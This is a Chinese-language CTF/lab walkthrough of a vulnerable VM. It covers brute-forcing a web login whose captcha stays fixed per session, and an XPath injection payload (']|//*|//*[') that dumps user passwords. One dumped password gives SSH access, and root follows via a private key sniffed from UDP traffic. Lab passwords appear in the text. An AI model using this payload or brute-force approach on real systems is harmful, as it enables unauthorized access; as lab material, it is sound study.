有login ，result，check，auth应该是登录相关的php
去web看一下
平平无奇，源码也没有什么值得注意的地方
直接去那几个php看试了一下其他几个都会跳转到login.php，那么只能从这里下手
登录界面还有验证码
随便输入抓个包看一下
post的内容发到了auth.php，有三个参数username，password，captcha
获取到验证码的是这个url
http://192.168.56.138/auth.php?generate_captcha=1
现在只能爆破密码了，盲猜用户名是admin
应该是一个会话内的验证码不变,防不了爆破
密码爆出来是iloveyou
登录之后是一个名字搜索框
测试了一下存在sql注入，但是为什么自己闭合会失效
在搜索引擎上搜了一下结果发现这是XPATH注入
然后在CSDN上搜到一个关于讲解XPATH注入的博客
里面给了这样一个payload
']|//*|//*['
就是']把前面的['闭合， 后面的['闭合后面的']，然后//*是列出文档中的所有元素
$query="user/username[@name='']|//*|//*['';
通过这个payload爆出这三个人的密码
测试发现只有qyxG27KGkW0x9SJ1能登录jackie的ssh

也是没有东西
看一下端口情况
jackie@factorspace:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
擦，汗流浃背了，啥也没有
无奈之下去看了一手wp，发现他们在ss -tulnp有个特殊的udp，为什么我没有，靶机重启了一下还是没有，我淦
可能是我靶机和kali的网卡不一样
不管了，后面就是通过wireshark抓192.168.56.138的udp包，报文里面有个私钥，用私钥登录root就能拿到root权限
